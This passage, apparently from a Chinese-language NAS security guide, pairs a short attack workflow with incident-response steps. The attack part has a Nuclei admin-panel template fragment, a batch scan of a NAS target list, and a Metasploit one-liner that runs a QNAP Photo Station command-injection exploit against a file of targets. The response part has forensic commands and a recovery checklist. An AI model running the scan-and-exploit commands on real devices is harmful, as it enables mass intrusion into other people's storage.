        Host: {{Hostname}}
        User: admin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "dashboard"
          - "admin"
        condition: or

# 1. 使用 Nuclei 批量扫描
nuclei -l nas_targets.txt -t ~/nuclei-templates/ -tags nas,qnap,synology,mycloud \
  -severity critical,high -o nas_scan_results.txt

# 2. 使用自定义 Python 脚本进行验证
python3 batch_check.py -i nas_scan_results.txt -o verified_vulns.txt

# 3. 使用 Metasploit 进行利用
msfconsole -q -x "use exploit/linux/http/qnap_photo_station_cmd_inject; set RHOSTS file:targets.txt; run"

# 检查活跃网络连接（QNAP）
netstat -anp | grep ESTABLISHED

# 检查异常监听端口（Synology）
ss -tlnp

# 检查 iptables 规则是否被修改
iptables -L -n -v

# 检查是否有异常 DNS 查询（可能为 C2 通信）
cat /var/log/messages | grep -i "query"

# 查找异常进程（所有平台）
ps aux | grep -v "^\[" | awk '{if($3>5.0 || $4>5.0) print $0}'

# 检查 WebShell（QNAP 常用路径）
find /share/Web/ -name "*.php" -newer /etc/config/uLinux.conf

# 检查近期修改的文件（Synology）
find / -mtime -3 -type f -name "*.sh" 2>/dev/null

# 检查计划任务（所有平台）
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/

# 检查可疑用户账号
cat /etc/passwd | grep "/home\|/sh$"
cat /etc/shadow | grep -v ":\*:\|:!\|:\$6\$"

# 检查 SSH 授权密钥
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys

# 检查新增的管理员用户（QNAP）
cat /etc/config/uLinux.conf | grep "User\|Admin"

# QNAP 系统日志
cat /var/log/messages | grep -i "error\|fail\|attack\|login"

# Synology 登录日志
cat /var/log/auth.log | grep -i "Accepted\|Failed"

# Web 服务访问日志分析（通用）
cat /var/log/apache2/access.log | grep -i "POST\|cmd\|exec\|system\|eval"

# 攻击 IP 提取
cat /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

1. 立即断网 → 2. 保留现场 → 3. 提取日志 → 4. 备份被加密数据 → 
5. 重置管理员密码 → 6. 更新固件到最新版本 → 7. 检查后门残留 → 
8. 修改所有用户密码 → 9. 重新接入网络 → 10. 持续监控